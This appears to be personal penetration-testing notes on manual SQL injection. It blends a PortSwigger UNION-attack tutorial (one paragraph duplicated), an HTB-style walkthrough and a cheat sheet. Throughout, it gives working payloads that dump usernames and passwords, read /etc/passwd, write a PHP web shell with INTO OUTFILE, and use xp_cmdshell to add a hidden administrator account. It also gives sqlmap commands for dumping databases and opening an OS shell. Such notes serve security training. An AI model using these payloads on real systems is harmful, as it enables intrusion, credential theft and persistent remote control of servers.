Manual SQL injection

https://portswigger.net/web-security/sql-injection/union-attacks

When an application is vulnerable to SQL injection and the results of the query are returned within the application's responses, the UNION keyword can be used to retrieve data from other tables within the database. This results in an SQL injection UNION attack.

SELECT a, b FROM table1 UNION SELECT c, d FROM table2

This SQL query will return a single result set with two columns, containing values from columns a and b in table1 and columns c and d in table2.

For a UNION query to work, two key requirements must be met:

  • The individual queries must return the same number of columns.

  • The data types in each column must be compatible between the individual queries.

Determining the number of columns required in an SQL injection UNION attack

The first method involves injecting a series of ORDER BY clauses and incrementing the specified column index until an error occurs. For example, assuming the injection point is a quoted string within the WHERE clause of the original query, you would submit:

' ORDER BY 1-- ' ORDER BY 2-- ' ORDER BY 3-- etc.

If you get out of range, that means you exceeded the number of columns.

The second method involves submitting a series of UNION SELECT payloads specifying a different number of null values:

' UNION SELECT NULL-- ' UNION SELECT NULL,NULL-- ' UNION SELECT NULL,NULL,NULL-- etc.

  • The reason for using NULL as the values returned from the injected SELECT query is that the data types in each column must be compatible between the original and the injected queries. Since NULL is convertible to every commonly used data type, using NULL maximizes the chance that the payload will succeed when the column count is correct.

  • The reason for using NULL as the values returned from the injected SELECT query is that the data types in each column must be compatible between the original and the injected queries. Since NULL is convertible to every commonly used data type, using NULL maximizes the chance that the payload will succeed when the column count is correct.

Data base specific SQL I cheat sheat:

The reason for performing an SQL injection UNION attack is to be able to retrieve the results from an injected query. Generally, the interesting data that you want to retrieve will be in string form, so you need to find one or more columns in the original query results whose data type is, or is compatible with, string data.

Having already determined the number of required columns, you can probe each column to test whether it can hold string data by submitting a series of UNION SELECT payloads that place a string value into each column in turn. For example, if the query returns four columns, you would submit:

' UNION SELECT 'a',NULL,NULL,NULL-- ' UNION SELECT NULL,'a',NULL,NULL-- ' UNION SELECT NULL,NULL,'a',NULL-- ' UNION SELECT NULL,NULL,NULL,'a'--

If the data type of a column is not compatible with string data, the injected query will cause a database error, such as:

Conversion failed when converting the varchar value 'a' to data type int.

If an error does not occur, and the application's response contains some additional content including the injected string value, then the relevant column is suitable for retrieving string data.' or 1=1 -- -

'select * from users where username=' or 1=1 (ignores everything after)

Using an SQL injection UNION attack to retrieve interesting data

When you have determined the number of columns returned by the original query and found which columns can hold string data, you are in a position to retrieve interesting data.

Suppose that:

  • The original query returns two columns, both of which can hold string data.

  • The injection point is a quoted string within the WHERE clause.

  • The database contains a table called users with the columns username and password.

In this situation, you can retrieve the contents of the users table by submitting the input:

' UNION SELECT username, password FROM users--

Retrieving multiple values within a single column

In the preceding example, suppose instead that the query only returns a single column.

You can easily retrieve multiple values together within this single column by concatenating the values together, ideally including a suitable separator to let you distinguish the combined values. For example, on Oracle you could submit the input:

' UNION SELECT username || '~' || password FROM users--

This uses the double-pipe sequence || which is a string concatenation operator on Oracle. The injected query concatenates together the values of the username and password fields, separated by the ~ character.

The results from the query will let you read all of the usernames and passwords, for example:

... administrator~s3cure wiener~peter carlos~montoya ...

Union based Injections:

it joins multiple statements together

Both select statements must return the same # of columns

'UNION select 1,2,@@version-- -

I saw something strange when I clicked the image in the home page.

entering single quatation, "'" in the param, the picture disappears

By incrementing the column number, I see that picture disappears at 8, which means there are 7 columns.

Union Select method:

-1 union select 1,2,3,4,5,6,7

We can see that the data changed.

http://supersecurehotel.htb/room.php?cod=-1%20union%20select%201,database(),3,4,5,6,7

Extracting data with union

load_file('/etc/passwd')

Can we run a command?


http://supersecurehotel.htb/room.php?cod=-1%20union%20select%201,%3C?php%20system($_REQUEST[%22exec%22]);%20?%3E,3,4,5,6,7%20into%20outfile%20%27/var/www/html/gori.php%27
'<?php system($_REQUEST["exec"]); ?>'

code execution is enabled.

SQSH

#Login
sqsh -S <targetip>:<port> -U sa -P password

# commands
exec xp_cmdshell 'whoami'
go
exec xp_cmdshell 'net user kalisa pass /add'
go
exec xp_cmdshell 'net localgroup Administrators kalisa /add'
go
exec xp_cmdshell 'net localgroup "Remote Desktop Users" kalisa /add'
go

------------------------------

SQLMAP
# Crawl the links
sqlmap -u http://<targetip> --crawl=1
sqlmap -u http://<targetip> --forms --batch --crawl=10 --cookie=jsessionid=54321 --level=5 --risk=3

# Search for databases
sqlmap –u http://<targetip>/index.php?par= –dbs

# dump tables from database 
sqlmap –u http://<targetip>/index.php?par= –dbs –D dbname –tables –-dump
sqlmap –u http://<targetip>/index.php?par= –dbs –D dbname –T tablename –-dump

# OS Shell
sqlmap -u http://<targetip>/comment.php?id=738 --dbms=mysql --osshell

--------------------------------

Manual sql injection commands

# check for sqli vulnerability
?id=1'

# find the number of columns
?id=1 order by 9 -- -

# Find space to output db
?id=1 union select 1,2,3,4,5,6,7,8,9 -- -

# Get username of the sql-user
?id=1 union select 1,2,3,4,user(),6,7,8,9 -- -

# Get version
?id=1 union select 1,2,3,4,version(),6,7,8,9 -- -

# Get all tables
?id=1 union select 1,2,3,4,table_name,6,7,8,9 from information_schema.tables -- -

# Get all columns from a specific table
?id=1 union select 1,2,3,4,column_name,6,7,8,9 from information_schema.columns where table_name = 'users' -- -

# Get content from the users-table. From columns name and password. (The 0x3a only servers to create a delimiter between name and password)
?id=1 union select 1,2,3,4,concat(name,0x3a,password),6,7,8,9 FROM users

# read file
?id=1 union select 1,2,3,4, load_file('/etc/passwd') ,6,7,8,9 -- -
?id=1 union select 1,2,3,4, load_file('/var/www/login.php') ,6,7,8,9 -- -

# create a file and call it to check if really created
?id=1 union select 1,2,3,4,'this is a test message' ,6,7,8,9 into outfile '/var/www/test' -- -
?id=1 union select 1,2,3,4, load_file('/var/www/test') ,6,7,8,9 -- -
	
# create a file to get a shell
?id=1 union select null,null,null,null,'<?php system($_GET[‘cmd’]) ?>' ,6,7,8,9 into outfile '/var/www/shell.php' -- -
?id=1 union select null,null,null,null, load_file('/var/www/shell.php') ,6,7,8,9 -- -

# then go to browser and see if you can execute commands
http://<targetip>/shell.php?cmd=id

# Then use Pentest Monkey Reverse Shells to call your shell

Last updated